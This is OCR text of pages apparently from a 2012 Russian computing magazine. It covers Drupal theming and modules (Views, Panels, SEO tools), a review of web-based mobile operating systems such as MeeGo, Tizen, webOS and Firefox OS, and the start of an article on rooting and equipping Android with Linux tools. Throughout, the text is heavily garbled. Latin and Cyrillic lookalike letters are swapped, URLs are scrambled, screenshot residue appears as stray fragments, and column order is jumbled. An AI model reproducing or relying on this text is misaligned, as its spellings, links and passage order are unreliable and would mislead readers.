Scnipts конфига mytheme.info */ ?рhрргiпt $scгiptsj ?> /* выводим регион Content, указанный в секции Regions */ <?php рriпt гепdег($раgе['сопtепt' ]); <

?>

В конце статьи я привел ссылки на полезные ресурсы, где ты найдешь множество видеогайдов, которые с головой погрузят тебя не только в темизацию, но и в Advanced Theming. Если ты разрабатываешь тему на HTML5, советую установить тулкит HTML5 Tools (dгuраl,оrg/ргоjесt/html5_tооls) - набор инструментOв для пOддержки нOвых стандартOв, который, в частности, включает Моdегпizгбиблиотеку для совместимости со старыми версиями браузеров.

3

vlEWS

написав свою тему, ты сделаешь полдела. Представь, что тебе нужно вывести на главной странице колонку с наиболее посещаемыми страницами, отфильтровать ноды, вывести таблицу с данными или галерею ,Щаже

с изображениями. Штатный функционал Dгuраl не позволяет выполнять такие задачи красивыми методами. Можно делать сотни запросов к базе данных через тему оформления, но для подобных задач эт0 совершенно неразумно (к тому же все будет привязано к одной TeMel. Здесь на помощь приходит Views. Views (dгuра .огg/рго]есt/чiеws) - один из самых известных и функциональных модулей, который, по всей видимости, войдет в ядро Dгuраl. Если коротко, модуль позволяет настраивать варианты отображения блоков, страниц, вложений, создавать фильтры, условия. В связке с ССК раскрывает нескромные возможности Dгuраl. Совершим небольшой экскурс в недра Views. 0ткрой раздел Stгuсtuге - Views в админке, включи View под названием <Рорulаг content> и перейди в настройки [Edit Viewl. Помимо прочей интересной информации, ты видишь <Sогt Сгitегiа) с критерием сортировки <Content statistics>: <Total views (desc)o. Выше находятся поля - Fields. Поля ты можешь создавать в ССК и таким образом выдавать интересующую тебя информацию в виде таблицы, сетки, списка. Формат вывода можно расширить с помощью модулей, например календарь [модуль Саlепdаг], слайдер изображений [Nivo Slidег) и так далее. Если перед тобой стоит задача вывода контента на сайте, старайся решать ее через Views. 0пытные друпалеры всегда советуют вместо установки специфического модуля действовать через (вьюсы).

1-

PANELS

ЕСли модуль Views кажется тебе слишком тяжелым [для сайта или твоего понимания), попробуй Panels (druраl.огg/ ргоjесt/рапеlsl - еще один модуль от разработчика Views. Позволяет расположить на странице панели с фрагментами информации без знаний CSS или HTML методом dгаg'п'dгор, Информация может выводиться на основе Contexts, все это описано в документа ци и.

I Ь

D|SPLAY SU|TE DisplaySuite(dгuoa1.oгg/project/dsl также испOльзует при пOстрOении дизайна dгаg'п'dгор. Преимущество DisplaySuite в тOм, чт0 этOт мOдуль предлагает предустановки с готовыми вариантами отображения, что делает его еще более usег fгiепdlу.

I

ЕСЛИ СТOИТ ЗАДАЧА ВЬlВOДА КОНТЕНТА, РЕШАИ ЕЕ ЧЕРЕЗ vlEWS. 0пblTHblE друпАлЕрьl сOвЕтуют B},tEcTo устАнOвки спЕциФичЕского ]Ulодуля дЕЙствовАть чЕрЕз ((вьюсьl>) хлкЕр

12116712012


Недетский DгuраI

Пять GпоGобов поднять Drчреl в глазах поиGковых сиGте}i Эбъективно говоря, изначально Dгuраl абсо.-ютно не предназначен для SЕO-оптимизации. Эечь идет не о каких-то специфических на-

зтройках, а о базовых понятиях. Ты можешь установить широко известный модуль SE0 Checklist {dгuра .огg/ргоjесt/ . _- '_c]rc_c_klЦl, на п иса н н ы й Беном Финкл и [Веп Finkleal, который является автором книги uDгuраlб Sеагсh Епgiпе 0ptimization>. Этот чек-лист поможет тебе провести пошаговую SЕO-оптимизацию сайта на Dгuра1.0н не содержит опций, как-то влияющих на работу Dгuраl, но в одной оболочке собрал все необходимые мOдули, которые ты должен будешь самOстOятельн0 устанOвить и настрOить. Есть неплохой платный видеокурс, который можно приобрести на сайте q|цuраlizе.mе. В нем демOнстрируется прOхOждение чеклиста плюс затрагиваются некOтOрые вOпрOсы 0птимизации !авай посмотрим, что может предложить SEO Checklist (насколько позволяет формат статьиJ.

1

tlЕтАтЕги 0ткрой исходный код своего сайта:

ты не наидешь стрOк, 0тнOсящихся к метатегам. Это, конечно, удручает, хотя роль у тегOв уже не та, чт0 в прежние гOды, когда, грубо говоря, с помощью двух кейвордов ты манипулировал выдачей. Модуль Metatags добавляет возможность редактирOвать метатеги как в 0тдельных материалах, таксономии, так и на главной странице. !оступны токены, так что можно задавать маски для автOматическOг0 0пределения тегов. Oднако этим удобством советую не злоупотреблять.

п a 9

п

settln89

lP addre9s btod(iлg

СфtФt .UthФrц

fomaв profiles

Fltэ ,tбt€m

Е,

fg]

slte tпfоmаt|оп

ý

sыtsttc

(l

Л

J

-

КАРТЫ В РУКИ XML sitemap модуль для создания XMLкарты саита, кOтOрая пOмOгает пOиск0-

-

вым системам тOчнее индексирOвать кOнтент. Не забудь активировать типы материалов,

которые требуется индексировать [lпсlusiоп lncluded) и указать приоритет обновлений страниц. Карта будет полностью сгенерирована после одного или нескольких проходов Сгоп [Сопfiguгаtiоп - System * Сгоп]. Подробнее о формате Sitemap читай тут: д,л,\._, ,.,TJl,

ащlргоt!со] htгцl.

,

h

Gооgtё

Matytic

lmаgс stytes

ý

c.on

J

u*tM"'t*"

а

мь"

ц|,

snorbb

t

ьvolop.Dnt

a

cotb,

СOЦИАЛИЗИРУЕlчlСЯ Напоследок не могу не упомянуть 0 социальных модулях для Dгuраl. После длительного тестинга я смог найти только два неплохих варианта. На самом деле список модулей мог состоять из доброй дюжины модулей, но я ограничился только теми, которые действительно полезны при минимальном загромождении JavaScript-

I

Ь-

кOд0 м.

.

GOOGLE Здесь есть два варианта, Первый дOOавить скрипт сервиса в код твоего

-

Shаге Buttons [AddToAnyl Ьу Lосkегz {dщра] о, g,'ргр]еq!Ъdd tоащ) - поддержка AddToAny виджета для shаге-публи каций в сOциальных сетях. Тwittег (q]lцра| оLg/ргоjесLltr,ч tter интеграция сайта с Тwittег. Позволяет делать репост в Тwittег, выводить твиты на сайте в виде блока через Views. Зtr

]-

tediaElemeлt.',

\-9l

о

lmа8е loolkit

F*T

Log8ln8 Фd

r

Ьrсh

fr

маlпt паш mй.

.лd

rEt d.t

lE

неисчерпаемый, пусть и порядком хаотичный, источник знаний для любого друпаллера. DrчраI.ru ресурс, где ты можеШь задатЬ любые вопросы, касающиеся Dгчраl. DruPal Planet Idtupa1.oгg.1!]зt,ctl сообщество Dгuраl, где нередко встречаются отличные уроки и скринкасты. (dгчр_а[щ976ааIý} Books about Drupal большая подборка книг со ссылками на превью. Поскольку Dгчраl можно использовать для различных целей (например, создание магазина или cRM, написание модулей и так далееl, выбор литературы за тобой. Lч|lаЬоt Podcast [wylw.lullabot.com/ideas/podcasts/lullab_ot-дodcastl один из моих любимыХ образоватеЛьных ресурсОв по качеству материала и подходу к обучению. Drupalize Не (фцЕаiizе.mеl исчерпывающие видеокурсы по Dгчраl от команды Lullabot. Часть эпизодов доступна бесплатно. Drчраl Video Podcast (mцstatclsееdшеdiа.соцllрodсQstl- множество бесплатных подкастов разных уровней сложности и всевозможные темы. Хапdеаdх.rЧ на моЙ взгляд, самый интересныЙ в Рунете бло1 посвященный Dгчраl. часто обновляется, содержит подборку не самых банальных задач и их решения. Lеаrпiпg liЬrаrУ (поdеопе.sе/sV]еаrпiпg-LiЬгаrу) библиотека тематических видео, много актуальных скринкастов для последней версии Drчраl. DrUPal TV Idгuраl.-tv.гul отличная подборка видео как на русском, так и на других

-

-

erors

-

язы ках. Тема офорltления Rubik

121167/2012

-

-

РёilоrmапФ

нАвыки п0 DRUPAL

(оmmчпitу Documentation (dгuдаLогgl!осumепtqtisлl-

-

\

хлкЕр

саита и захOдить на сервис п0 привычнOму адресу www,google.com/analytics/ [удобно, если утебя несколько сайтов]. Можно коддобавить вручную, через <Блоки), или установить простенький модуль Google Analytics ILs, фl]С]аЬе) и указать уникальный код, присвоенный при регистрации на сервисе. Второй вариант более изощренный, для ег0 реализации нужн0 устанOвить мOдуль Google Analytics Rерогts. Oн позволяет оценить все прелести Google Сhагt APl, настроив графики из Апаlуtiсs. Oб этом читай инструкцию в трех частях: ц gdl. ZIEbe. ,Щанный метод мне нравится больше, поскольку я избавляю себя от необходимости лицний раз заходить в панель Analytics, когда интересуют только 2-З графика из всей статистики.

.

АнАлитикА 0т

-

мпоп,

Rу Terms

',tэdlr

a L-9

!

sуýtф

\

w}6iц€

Е

L_э

моUпt

Text

\

a

ADDON. 10 спOсOБOв прOкАчАть Рфрlэ

sim|Ы

l

ДЕЛАЕlt| АВТOУРЛЫ Штатный модvль Dгuра| Path позволяет задавать альтернативный адрес для любой страницы, делать путь удобочитаемым. Но зачем вручную заниматься тем, что сам доктор прописал автоматизировать? Такой модуль есть. Pathauto (is.gd/b5bQ2k) генерирует адреса на основе шаблонов (ToKeHoBJ для любых материалов. Изначально Dгuраl создает кириллические адреса, нужн0 устанOвить мOдуль Тrапslitегаtiоп (ý щllrlМJtrllJ и включить опцию <Тгапslitегаtе ргiог to сгеаtiпg alias> в настройках Pathauto. Пользуйся модулем аккуратно: если утебя сайт-многостраничник и ты пOменяешь все урлы через Bulk update, это чревато последствиями (лично мне пришлось менять вручную около 250 ссылок на изначальные адреса).

л

-

-


x_i{oBILE

Евrений 3обнин lапdrоiоstгееt,гu]

,.,.

\ii

но

тольк0 ! д4, оп.ер:пiх-fl

оннЫJ, спслеlr iOS, '

Ahdtoi{,.BlackBerry;

windotis,

а

lакже

всех популярных

браузеров.

.r,

}iEEGo TlzEN WEBoS FlREF

)lи ор

Усльlшав фразу (мобильная операционная система>>, большинство людеЙ вспоминают об Апdгоid, iOS, Windows Рhопе, а некоторые даже пускают скупую слезу по symbian. Тем не менее, кроме этоЙ (большоЙ троЙки>, в мире существует множество других, горазд0 менее известных и разрекламированных м0бильных 0С. Некоторые из них заслуживают особого внимания.

сталки вается с замкнуты м кругом. Разработч и ки не будут писать программы для непопулярной платформы, а без них новая 0С не сможет достучаться для пользователей.

Все 0С в данном обзоре решают эту делая ставку на веб-технологии. Все описанные платформы пытаются найти способ связать между собой веб-приложения с железом реального смартфона или планшета и друг с другOм, Почему именно веб-технологии? Идея довольно проста: чтобы сделать клиент вашей социальной сети или другого сервиса для нашей 0с, вы сможете воспользоваться технологиями, на которых уже работает ваш продукт, включая разнообразные расширения к HTML5, СSSЗ, SVG и JavaScгipt. Кроме того, делается ставка на то, что.новым разработчикам будет проще работать проблему схожим образом

050

-

с этими технологиями, чем учить специфическую разновидность Java или совсем экзотичный

язык вроде 0bjective-C. Сразу стоит заметить, что по этому пути идут не тOльк0 нOвички, н0 и дOстатOчн0 известные 0С, потерявшие популярность в результате революции приложений. На HTML5 делает ставку Windows 8 (планшетная версия)

-

поэтому операционных и В асkВеггу 0S ]0 систем с развитыми платформами для нативных приложений остается совсем мало. Но выигрывают пока именно они, Почему так п рои сходит?

ппrfi.пt!п возможно, Начать обзор я хотел бы с MeeGo последней попытки сделать традиционную мобильную 0С. Именно ее судьба и стала уроком

-

для всех остальных персонажей этой истории. 0перационная система с хорошей технической базой и поддержкой крупных компаний оказалась бессильна перед натиском iOS и Апdгоid именно из-за отсутствия понятной экосистемы для разработчиков и пользователей. MeeGo обязана своим существованием инженерам lntel и Nokia, которые работали над созданием независимых мобильных 0С {МоЬliп

. Ёц" до ,a*n,o*arш дOrовора о р8зработке совiiестной 0с lntel и },leeco вц-

пустlли свободнцft

стек для создания ''связаннцtх с тела-

"

фонией iфiложений, ЪFопо, который позже был интегрирован Ё MeeGo, Тilеп и

},lеr.

,r *

ц*Р. ъ

и Maemo], основанных на технологиях Linux, а в начале 20'l 0 года решили совместно создать единую 0С. Результатом стала выпущенная всег0 через нескOльк0 месяцев 0перациOнная система MeeGo '] .0 Агliпgtоп, пOддерживаю-

щая 0кOл0 двух десяткOв уже присутствующих на рынке нетбуков и частично коммуникатор Nokia N900, который к тому времени уже обрел большую популярность среди продвинутых п

осле бума Арр Stоге и GOogle Play стало очевидно, что успешность мобильной 0С определяется не только и не столько ее интерфейсом и функциональностью, сколько развитостью экосистемы вокруг нее. Сколько приложений доступно для этой платформы? Щоступны ли знаменитые игры, реализована ли поддержка популярных веб-сервисов? И оказалось, что любой новый игрок на рынке

,

ол ьзо

вателе й.

MeeGo интересна в первую очередь своим набором инженерных решений, большин-ство из которых основаны на традициях UNlX и Linux. это не совсем самоВо-первых, MeeGo стоятельная 0С, а скорее Liпuх-дистрибутив, адаптированный для работы на разного рода портативных устройствах и встраиваемой технике, начиная от нетбуков и мультимедийных систем автомобилей и заканчивая смартфонами и умными телевизорами. Практически все компоненты этой операционной системы были позаимствованы из настольных 0с, основанных на ядре Linux. Здесь используется все тот же набор низкоуровневых библиотек, мультимедиафреймворк Gstгеаmег, аудиосервер PulseAudio, Х-сервер, библиотека QТ как основной инструмент создания графических приложений и даже набор стандартного Liпuх-П0, например почтовый клиент Evolution и браузер Сhгоmium. Все это делает работу с MeeGo привычной для многих пользователей, а заодно как бы автоматически снабжает ее набором качественного П0, что очень важно для молодой 0С. Во-вторых, и это еще более важно, разработчики изначально спозиционировали операционную систему как некий набор базовых

-

кOмпOнентOв, пOверх кOтOрых мOжн0 сOздавать

совершенно разные интерфейсы для различ-

хдкЕр

12l1b7l2a12


Андердоги

Разработчики Мег еще больше сместили акцент развития операционной системы к разработке базовых компонентов системы и предоставлению производителям устройств лишь фреймворка, с помощью которого последние смоryт создавать собственные 0С, при этом можно подключать разработки своих или других проектов. Так, Мег позволяет использовать в качестве графического интерфейса оболочку, разработанную в рамках проекта Tizen, а также любые другие графические среды, включая Plasma Active от сообщества KDE [экспериментальный свободный планшетViчаldi, в котором используется этот интерфейс, работает под

-

управлением дистрибрива Мег).

Мег уже портировали на такие устройства, как RаsрЬеrry Pi, ВеаglеВоагd, Nokia N900, Nokia N950, Nokia N9 и несколько планшетов, осноTizen выглядит достаточно целостной 0С,

но это

ванных на процессоре lntel Atom. В июле 2012 года финская компания Jolla Mobile, основанная

обманчивое впечатление

ных устрOиств и рынкOв, сOхраняя при этOм их полную совместимость между собой. 0пераци0нная система имеет стандартизированный APl, большей частью основанный на фреймворке QT, который гарантирует совместимость вариантов

0С между собой, но дает полную свободу изменения графического интерфейса [сиryация, схожая с многообразием DE для Linuxl. При этом важно, что разработкой основного набора графических оболочек также занимались программисты MeeGo - таким образом обеспечивалась общая целостность интерфейсов. 3а время существования MeeGo под крылом lntel и Nokia было разработано целых четыре варианта интерфейса [называемых в терминологии MeeGo UX Usег Ехрегiепсеs}: для нетбуков, смартфонов, планшетов и автомобильных компьютеров. Совместно с Nokia lntel успела выпустить версии 1.1 и 1,2 платформы MeeGo, однако после заключения соглашения с Micгosoft Nokia

-

потеряла интерес к работе над этой операционной системой, и разработка MeeGo фактически завершилась в пользу проекта Tizen. Последняя унаследовала большинство наработок MeeGo, но фактически стала совершенно новой 0С, а место Nokia в ее разработке заняла преимущественно Samsung вместе с несколькими другими компаниями, включая NEC и Panasonic. Казалось бы, на этом судьба MeeGo должна была завершиться, однако, как это часто бывает с открытыми проектами, в конце 20'l 'l года обязанность за развитие проекта туг же взяли на себя независимые разработчики. Был создан проект Мег, в рамках которого началось дальнейшее развитие идей MeeGo в тесном сотрудничестве с Tizen, Следуя принципам развития пOлнOстью 0ткрытых прOектOв,0н включал 0ткрыryю экOсистему и мOдель управления, основанную на меритократии [руководятте, кто внес больший вклад в развитие проекта).

цукЕрБЕрг нЕ пOзвOнит HTML5 на время очаровал не только (лузеров> l,{обильного рынка, но и разработчиков популярпРиложениЙ для доминируючlих платформ, включая Facebook и ТWittег. С их точки зрения, Веб-технологии были удачны тем, что позволяли создавать кроссплатформенные приложения и обновлять клиенты для разных 0С синхронно. Как оказалось, это вышло им боком по сравНеНИЮ С НаТивными разработками получались медленные, малофункциональные и неудобные ПРОГРаМмы. 0снователь социальноЙ сети Facebook Марк l-|укерберг публично заявил, что ставка На HTML5 стала <самой крупной ошибкой> знаменитого сервиса, и пообещал выпустить нативные версии мобильных клиентов. 0пРеделенно, связывать HTML5 с тем, что стоиl.,lость Facebook как компании упала почти вдвое с момента lp0, -довольно слабый ходдля главы гигантской интернет-махины. с тем Же УСПеХОм катастрофическое падение акциЙ MorKHo было бы объяснить неверноЙ конфигураЦИеЙ веб-серверов или неудачным решением для хранения баз данных. Но от этого проблемы HTML5 не перестают быть реальныt"lи. Как пояснил в своем блоге,Щ>t<о Хьюит, глава разработки iOS-ВеРСии клиента Facebook, на данноlt| этапе ве6-технологии просто не могут сравниться с НаТиВными платформарlи по темпам развития. Без сомнения, HTML и компания остаются приВЛеКаТеЛЬНЫМ РеШением в силу своеЙ универсальности и кроссплатформенности, но до тех пор. пOка не существует единого административного органа, курирующего развитие веба, применение таких решений за пределами браузера будет оставаться утопией. НЫХ

-

хдкЕр 12l1b7l2012

бывщими сотрудниками Nokia, участвовавшими

в разработке MeeGo, сообщила о начале работ над смартфоном, который будет базироваться на Мег. Его выпуск запланирован на конец 20'l 2 года.

После отказа Nokia от работы над MeeGo lntel объединилась с компанией Samsung, организацией Linux Foundation и проектом LiMo дя создания совершенно новой 0С Tizen. 0на спроектирована на базовых компонентах MeeGo и премагает новыЙ подход к разработке приложениЙ, основанный на технологиях HTML5 и JavaScгipt. Как и WebOS, о которой мы поговорим

следующем разделе, идея Tizen заключается том, чтобы использовать стек технологий Linux в паре с графическим интерфейсом, полностью в

в

основанным на ве6-технологиях, таких как HTML, JavaScгipt и CSS. Главным арryментом в пользу такой архитекryры здесь служит простота переноса и создания приложений. Веб-технологии изначально разрабатывались с упором на поддержку самых разных типов экранов и устройств, поэтому приложения будуrлегко и в большинстве случаев автOматически адаптирOваться под разные устройства, будь то смартфон или умный телевизор. Кроме того, приложения, написанные с использованием веб-технологий, просты в реализации и не требуют специального обучения программистов: кроме APl к операционной системе, все остальные компоненты знакомы бол ьш

инству програм мистов.

Помимо основного ве6-стека для создания приложений, в Tizen предусмотрен также Native Development Kit, позволяющий писать части приложений на низкоуровневых языках типа С и С++, что необходимо мя создания игр и других высокопроизводительных приложений. При этом для 99% обычных приложений производительности JачаSсгiрt будет достаточно, так как наиболее трудоемкие операции [проигрывание видео, музыки, шифрование и так далее) будуг выполняться библиотеками, входящими в базовый комплект 0С и написанными на тех же С/С++. Первый публичный релиз Tizen состоялся в мае 2012 года, когда разработчики выложили в сеть исходные тексты первой версии операци-


X-].{0BlLE

фй9) N.wYdll6)

w.я тсr,

GФfмr

однако на данный момент был полностью закончен только графический интерфейс для смартфонов и других подобных устройств с портретной ориентацией экрана. Сама графическая оболочка не обладает какими-то интересными новшествами, являя собой достаточно стандартный рабочий стол, сильно напоминающий Апdгоid с модификацией TouchWiz {сразу видно влияние компании Samsung и проекта LiMo, в разработке которого она активно участвовалаl. В сентябре стала доступна версия 2.0 операционной системы, которая, несмотря на значительной прыжок в номере версии, не принесла кардинальных изменений, за исключением расширенного АРI,6олее полной поддерки стандартов НТМLS/WЗС (стоит заметить, что Тizеп Web APl большей частью состоит из стандартов, предложенных WЗС, включая WebRTC, getUseгMedia APl, ViЬгаtiоп APl и так далее) и перехода на движок WebKit2, благодаря чему удалось обеспечить более надежную изоляцию веб-приложений друг от друга. 0тдельно стоит отметить, что благодаря гибкой архитекryре Tizen позволяет достаточно легко (прикругить" к себе практически любую графическую оболочку. Например, еще с выходом первой версии 0С компания OpenMobile подготовила слой совместимости Application Compatibiliiy Lауег, позволяюций запускать в Tizen приложения, написанные для Апdгоid (справедливости ради над0 сказать, чт0 тOт же прOдукт дOсryпен и для операционных систем MeeGo и webOS]. Если же говорить об устройствах, то они ожидаются уже в конце 2012 года, причем о

своих планах сделать аппараты на базе новой

0с заявили не какие-то экзотические азиат-

Планшетный интерфейс webOS

ские бренды, а такие мастодонты, как НТС, Асег и ASUS. Скорее всего, это будуr шryчные модели для проверки того, <как пойдетr, но сам интерес таких компаний к полностью открытой 0С, которая гораздо больше похожа на массовый Liпuх, чем Апdгоid, не может не радовать.

@

Говоря об операционных системах, основаных на веб-технологиях, нельзя не упомянугь о webOS - фактически это первая 0С такой архитектуры, снискавшая дOстатOч ную пOпулярность. WebOS была разработана и анонсирована в январе 2009 года компанией Palm, которая испOльзовала ее в мобильном телефоне Palm Рге, выпущеннOм на рынOк спустя пOлгOда, а также в смартфонах Palm Pixi и Рге2. Компания Palm возлагала большие надежды на webOS, намереваясь использовать ее для восстанOвления свOих пOчти пOлнOстью лраченных позиций на рынке карманных компьютеров и смартфонов. Oднако, несмотря на высокое

качество и возможности операционной системы, устройства на базе webOS так и не завоевали большой любви у пользователей; в результате компания была продана, и новым владельцем ее в апреле 20'l0 года стала Неwlеtt-Расkагd. Представители гиганта lТ-индустрии прямо заявили, что причиной их приобретения стала именно webOS, на базе которой НР планировала производить смартфоны, планшеты и принтеры. НР использовала webOS для выпуска таких устройств, как НР Vеег и НР Рге З, планшета НР TouchPad, а также планировала выпустить специальный порт 0С для Windows, который должен был быть установлен на все компы и норбуки производства компании, выпущенные в 2012 году. Тем не менее смартфоны и планшет TouchPad провалились на рынке, а последняя задумка так и не была реализована, Все это привело к тому, что после недолгих метаний рукOвOдства кOмпании между различными идеями, как использовать webOS, и снижения цен на устройства НР объявила в декабре 201'l гOда 0 планах 0ткрыть исхOдные тексты 0перационной системы и передать их независимому сообществу. Уже в январе был выложен в открытый доступ код фреймворка Епуо, используемого для разработки wеЬOS-приложений, тогда

онной системы, SDK на базе Eclipse, эмулятор,

основанный на QEMU, а также специальный и нструмент для быстрого тестирования приложений, работающий прямо в браузере и эмулирующий Tizen APl. Интересно при этом, что абсолютн0 все стандартные прилOжения, вхOдящие в

базовый состав 0с, были написаны вовсе

не на JачаSсгiрt/НТМt5, а являлись стандартными Liпuх-приложениями, графический интерфейс которых формировался с помощью библиотек

EFL {Enlightenment Fоuпdаtiоп LiЬгаriеsl, работающих пOверх стандартнOг0 для (настOльных> Liпuх-дистрибугивов Х-сервера. 0стальные компоненты 0С фактически повторяли базовый набор компонентов MeeGo, включая различные,сервисы, такие как кOнфиryратор беспроводных сетей СоппМап, BIuetooth-cTeK bluez, мультимедиафрейм ворк Gstгеаmег, набор кодеков FFmреg, библиотека 0penSSL, а также веб-стек на базе браузерного 'l движка WebKit и библиотеки JOuегу Mobile .0. Как и MeeGo, Tizen рассчитана на применение во множестве различных типов устройств,

052

Nokia

N9 на базе },leeGo 1,2

хлкЕр 12l167l2012


Андердоги

JS-библиотека. При этом разработчики Mozilla

не стали изобретать велосипед и взяли за основу 0С базовое окружение Апdгоid, со всеми его библиотеками, сервисами, lРС-интерфейсом Вiпdег, ЗD-драйверами, мультимедиафреймворком и про-

чими вкусностями. Поверх этого окружения был водружен движок Gecko и создан графический интерфейс Gaia, полностью базирующийся на HTML, CSS и открытых веб-стандартах, принятых WЗС. Интересно в Fiгеfох 0S то, что здесь фактически нет каких-то заново изобретенных

Интерфейс Firefox 0S

как полностью открыли webOS только в конце сентября нынешнего года. WebOS это третья [и не последняя) операционная система в нашем обзоре, почти полностью основанная на технологиях Linux. 0днако отличия есть. Два предыдущих проекта больше пOхожи на сборную солянку из различных технологий, да еще и приготовленную по рецепту, который писался во время самого приготовления. WebOS уже с первой версии была полностью законченной и тщательно отполированной 0С, где все находится на своих местах и удивительн0 четк0 0рганизOван0. В основе webOS лежит окружение Linux, с0 всеми сопrгствующими технологиями, фреймворками и наборами открытых библиотек, большинств0 из кOтOрых пересекаются с прOектами MeeGo и Tizen [код всего этого стека компания Palm добросовестно открыла одновременно с анонсом 0С), поэтому в данном обзоре они не представляют особого интереса и я опущу их описание. Гораздо более интересная часть webOS - это тот самый фреймворк Епуо. Фактически Епуо {enyojs.com) представляет собой JачаSсгiрt-библиотеку, функциональность которой используется для написания webOSприложений и формирования их графического интерфейса. Программа, написанная с помощью Епуо, мало чем отличается от обычного веб-приложения: разработчи к подготавливает HTML-KapKac, а затем использует JavaScгipt и Епуо для создания на его базе графического интерфейса. При этом в распоряжении программиста не только базовый JS APl, но и набор системных функций для доступа к операционной системе, вызовы которых преобразуются в сообщения D-Bus, что позволяет из коробки сделать их асинхрOнными и реали30вать аудит для проверки полномочий приложений. webOs изначально была полностью основана на Епуо. По сри, после загрузки 0С происходит запуск движка WebKit и весь интерфейс операционной системы формируется с помощью HTML и CSS {включая интерфейс встроенного браузера), что тем не менее не мешает программистам писать приложения на классических С и С++, используя специальные обертки для вывода

-

хдкЁр 12l1b7/2012

графики. Пользователю при этом досryпен стандартный набор инструментов среды Linux: ssh, ср, vi, gгер, find, diff, top, tаг, 9zip и так далее. WebOS обладает приятным графическим интерфейсом, построенным на основе идеи сменяемых карточек, отличной производительностью и проработанностью, и она вполне могла бы занять лидирующие позиции на рынке мобильных 0С, если бы не компания Google с ее агрессивными методами продвижения Android и изначальная идея Palm не лицензировать операциOнную систему стOрOнним прOизвOдителям.

]llfirarтE

Бум интереса к использованию веб-технологий для создания обычных приложений никак не мог пройти мимо компаний, чей бизнес напрямую зависит от этих самых технологий. Еще в 2009 году Google открыла исходные тексты облачной операционной системы Сhгоmе 0S (Сhгоmium 0S), особенность которой заключалась в использовании модифицированной версии браузера

APl для доступа к оборудованию. Почти весь базовый APl для разработки приложений основывается на 0ткрытых стандартах, чт0 пOзвOляет практически без изменений переносить целые веб-приложения в Fiгеfох 0S, а также выполнять обратный перенос и тестирование приложений прямо в настольном браузере. Вторая важная особенность 0С заключается в том, что разработчики приняли решение использовать почти неизмененное окружение Апdrоid в качестве базы 0С, благодаря чему перенос операционной системы на другие устройства (работающие под управлением Апdгоid) превращается в тривиальную задачу, с которой может справиться даже минимально технически подкованный человек. Уже сейчас официальные сбOрки Firеfох 0S подготовлены для таких платформ/устройств, как 0tого, РапdаВоагd, Еmulаtог (ARM и х86], Desktop, Nexus S, Nexus S 4G, Samsung Galaxy S ll и Galaxy Nexus. Кроме того, энтузиастами были созданы порты 0С также и на множество других устройств, включая даже такой малораспространенный Апdгоid-смартфон, как Моtогоlа Defy. 0 своих планах использовать Fiгеfох 0S уже заявили испанский оператор сотовой связи Telefonica, компания ZTE и некоторые другие. Если же говорить об интерфейсе 0С, то здесь все дOстатOчн0 стандартн0 и ничег0 нOвOг0 Fiгеfох 0S не преподносит: обычный интерфейс, в очередной раз похожий на

Апdгоid и, местами,

ФАКТИЧЕСКИ В FIRЕFОХ 0S НЕТ КАКИХ_ТО

зАнOво изOБрЕтЕнньlх API для дOступА к оБOрудOвАнию Google Сhгоmе в качестве рабочего стола операционки, где все приложения находятся в облаках [Gmail, YouTube, Last.fm и так далее). В июле 201 1 года компания Mozilla объявила о начале работ над мобильной операционной системой Boot to Gecko IB2G), основанной на ядре Linux и движке рендеринга веб-страниц Gecko. Ровно через год операционная система получила более благозвучное и удачное с коммерческой точки зрения имя Fiгеfох 0S. По своей сrги и назначению Fiгеfох 0S оказалась очень похожей на Tizen и webOs: все то же базовое окружение Linux, движок рендеринга веб-страниц, JачаSсгiрt-движок и специальная

webOS и Windows Phone, оформленный следуя сOвременным традициям минимализма и выпOлненный в виде журнальных страниц интерфейсов.

*Финт ушамио в исполнении фанатов вебтехнологий на данный момент выглядит не слишком убедительно, Какая из этих мобильных 0С выживет, покажет время, но скорее всего каждая из них займет небольшой процент мобильного рынка и будет использоваться на маломощных устройствах, выпускаемых различными компаниями. И это еще самый оптимистичный прогноз.

Е


x-},l0BILE

1.1аксим

Полевой lmaks,hatcret Гdуапоех,.uJ

0

э о Ф

о о Е о

с

.9

0снАщАЕм ANDROID всЕ},| нЕOБхqди}iьlм ДЛЯ

УДОБНОИ

п продуктивнOи рАБOтьl

С какой стороны ни посмотри, Апdгоid - операционная система для рядовьlх пользователей, интерфейс и базовые возможности котороЙ разрабатывались с учетом потребностеЙ человека, абсолютно незнакомого с тонкостями работы компов, планшетов и смартфонов. Тем не менее, приложив немного усилий, ее легко адаптировать под свои нужды и превратить в серьезный рабочиЙ инструмент.

EIlIriшE

В этой статье я расскажу о том, как сделать из Апdгоid инструмент матерого lТ-шника

-

инструмент, включающий в себя весь набор необходимых программ, которые только могут понадобиться в жизни, Перво-наперво мы превратим наш смартфон {или планшет, кому как больше нравится) в нормальную Linuxсистему, получив гооt на девайсе, установив эмулятOр терминала и пакеты утилит кOмандной строки. Затем мы обзаведемся всеми

054

необходимыми инструментами для удаленной работы, включая клиент и сервер SSH, утилиту гsупс и демOн удаленнOг0 управления ADB, не требующий подключения устройства с помощью кабеля. Само собой, мы не сможем обойтись без прокси, а также VРN-клиентов, они тоже войдут в наш джентльменский набор Последним шагом станет написание загрузочных скриптOв для выпOлнения различных полезных для нас действий во время загрузки смартфона/планшета.

Получить права суперпользователя на девайэто первое, что мы должны сделать, чтобы превратить устройство из красочной игрушки с няшными икOнками и стильными кнOпOчками в настоящий карманный компьютер. Без прав гооt 80% описанного ниже будет бессмысленно, так как система просто не позволит себя кастOмизирOвать и устанOвить низкOурOвневые инструменты вроде BusyBox или SSH. К сожалению, методы рутинга девайсов очень сильно отличаются от одной модели к другой, поэтому универсального решения тут нет, Ты можешь попробовать воспользоваться такими программаt',4и, как SuрегOпеСliсk

се

-

t

. ), но не факт, что она сработает для твоего девайса. Поэтому лучший способ зарутить робот это найти инструкцию в Сети по гуглозапросу <#устройство# гооt", тем более что многие производители позволяют разлOчить загрузчик с пOмOщью специального сервиса [с потерей гарантии, разумеется), пOсле чег0 0стается тOльк0 прOшить уже

-

рутOванную прOшивку. Когда рутинг будет выполнен, у тебя появится возможность установить на смартфон все необходимые утилиты, включая BusyBox и Midnight Соmmапdег, Но для начала лучше обзавестись эмулятором терминала. В Маркете его можно найти по названию.Апdгоid Тегmiпаl Еmulаtог>. В дополнение к немутакже рекOмендую устанOвить пOлную клавиатуру <Насkег's КеуЬоагd", которая включает в себя не только буквы и отдельные символы, н0 и клавиши управления курсOрOм, клавиши

хлкЕр 12l1b7l2012


Начало большого пути

$ adb sheI1 Или установить/удалить

ý ъv:,tьox

Е

